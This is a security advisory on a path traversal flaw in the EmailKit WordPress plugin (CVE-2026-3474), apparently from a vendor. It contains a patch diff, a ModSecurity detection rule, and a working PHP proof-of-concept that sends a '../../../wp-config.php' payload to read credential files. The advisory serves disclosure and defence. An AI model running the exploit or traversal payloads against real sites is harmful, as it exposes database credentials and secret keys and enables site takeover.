Atomic Edge analysis of CVE-2026-3474:
The EmailKit WordPress plugin, versions up to and including 1.6.3, contains an authenticated path traversal vulnerability. This flaw allows attackers with administrator-level access to read arbitrary files from the server via the plugin’s REST API. The vulnerability stems from improper input validation in a core template handling function.
Atomic Edge research identifies the root cause within the `action()` function of the `TemplateData` class, located in `/emailkit/includes/Admin/Api/TemplateData.php`. The vulnerable code passes the user-controlled `emailkit-editor-template` REST API parameter directly to `file_get_contents()` without validation. The function reads two files: the parameter value itself and a derived HTML file path created by replacing ‘content.json’ with ‘content.html’. This direct usage of unsanitized input for file operations creates the path traversal condition.
Exploitation requires an authenticated administrator to send a crafted POST request to the vulnerable REST API endpoint. The attacker supplies a traversal sequence, such as `../../../wp-config.php`, within the `emailkit-editor-template` parameter. The plugin reads the specified file and stores its contents as post meta data. An attacker can then retrieve the stolen file contents via the plugin’s `fetch-data` REST API endpoint, completing the arbitrary file read attack.
The patch in version 1.6.4 introduces a multi-layered defense. It defines an `$allowed_base_path` as the plugin’s template directory within the WordPress uploads folder. The code resolves the user-supplied path using `realpath()` and validates that the resulting absolute path starts with the allowed base directory using `strpos()`. This validation occurs for both the JSON and HTML file paths. If the path validation fails, the function returns a ‘fail’ status, preventing file access. This fix mirrors the secure pattern already implemented in the plugin’s `CheckForm` class.
Successful exploitation leads to full server file disclosure. Attackers can read sensitive configuration files like `wp-config.php` containing database credentials and secret keys. They can also read system files such as `/etc/passwd` or application source code. This data exposure can facilitate further attacks, including full site compromise and potential lateral movement within the hosting environment.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/emailkit/EmailKit.php
+++ b/emailkit/EmailKit.php
@@ -6,7 +6,7 @@
* Description: EmailKit is the most-complete drag-and-drop Email template builder.
* Author: wpmet
* Author URI: https://wpmet.com
- * Version: 1.6.3
+ * Version: 1.6.4
* Text Domain: emailkit
* License: GPLv3
* License URI: https://www.gnu.org/licenses/gpl-3.0.txt
@@ -68,7 +68,7 @@
*/
public function define_constants()
{
- define('EMAILKIT_VERSION', '1.6.3');
+ define('EMAILKIT_VERSION', '1.6.4');
define('EMAILKIT_TEXTDOMAIN', 'emailkit');
define('EMAILKIT_FILE', __FILE__);
define('EMAILKIT_PATH', __DIR__);
--- a/emailkit/includes/Admin/Api/TemplateData.php
+++ b/emailkit/includes/Admin/Api/TemplateData.php
@@ -45,9 +45,26 @@
- if(!empty($request->get_param( 'emailkit-editor-template' ) && trim($request->get_param( 'emailkit-editor-template' )) !== '')){
- $template = file_get_contents($request->get_param( 'emailkit-editor-template' ))??'';
- $html = file_get_contents(str_replace( "content.json", "content.html", $request->get_param( 'emailkit-editor-template' )))??'';
+ if (!empty($request->get_param('emailkit-editor-template')) && trim($request->get_param('emailkit-editor-template')) !== '') {
+ $template_path = $request->get_param('emailkit-editor-template');
+ $allowed_base_path = wp_upload_dir()['basedir'] . '/emailkit/templates/';
+ $real_path = realpath($template_path);
+ if ($real_path === false || strpos($real_path, realpath($allowed_base_path)) !== 0) {
+ return [
+ 'status' => 'fail',
+ 'message' => [__('Invalid template path', 'emailkit')]
+ ];
+ }
+
+ $template = file_exists($real_path) ? file_get_contents($real_path) : '';
+ $html_path = str_replace("content.json", "content.html", $real_path);
+
+ // Validate HTML path as well
+ $real_html_path = realpath($html_path);
+ if ($real_html_path !== false && strpos($real_html_path, realpath($allowed_base_path)) === 0) {
+
+ $html = file_exists($real_html_path) ? file_get_contents($real_html_path) : '';
+ }
}
$subject = !empty($request->get_param( 'emailkit_template_title' ))? trim($request->get_param( 'emailkit_template_title' )) : null;
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3474
SecRule REQUEST_URI "@rx ^/wp-json/emailkit/vd+/template-data"
"id:10003474,phase:2,deny,status:403,chain,msg:'CVE-2026-3474 Path Traversal via EmailKit REST API',severity:'CRITICAL',tag:'CVE-2026-3474',tag:'WordPress',tag:'EmailKit',tag:'Path-Traversal'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule REQUEST_BODY "@rx emailkit-editor-template.*?(?:\.\./|%2e%2e%2f|%252e%252e%252f)"
"t:none,t:urlDecodeUni,t:lowercase,t:normalizePathWin"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3474 - EmailKit <= 1.6.3 - Authenticated (Administrator+) Path Traversal via 'emailkit-editor-template' REST API Parameter
<?php
$target_url = 'https://example.com/wp-json/emailkit/v1/template-data';
$admin_cookie = 'wordpress_logged_in_abc123=...'; // Valid administrator session cookie
$file_to_read = '../../../wp-config.php'; // Path traversal payload
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'Cookie: ' . $admin_cookie
]);
// Craft JSON payload with the traversal path in the vulnerable parameter
$payload = json_encode([
'emailkit-editor-template' => $file_to_read,
'emailkit_template_title' => 'Exploit Template'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 200) {
$data = json_decode($response, true);
if (isset($data['status']) && $data['status'] === 'success') {
echo "[+] File read request successful.n";
echo "[+] The file contents have been stored as post meta.n";
echo "[+] Use the plugin's fetch-data endpoint to retrieve the stolen data.n";
} else {
echo "[-] Request succeeded but plugin returned an error.n";
print_r($data);
}
} else {
echo "[-] HTTP request failed with code: " . $http_code . "n";
echo "Response: " . $response . "n";
}
?>
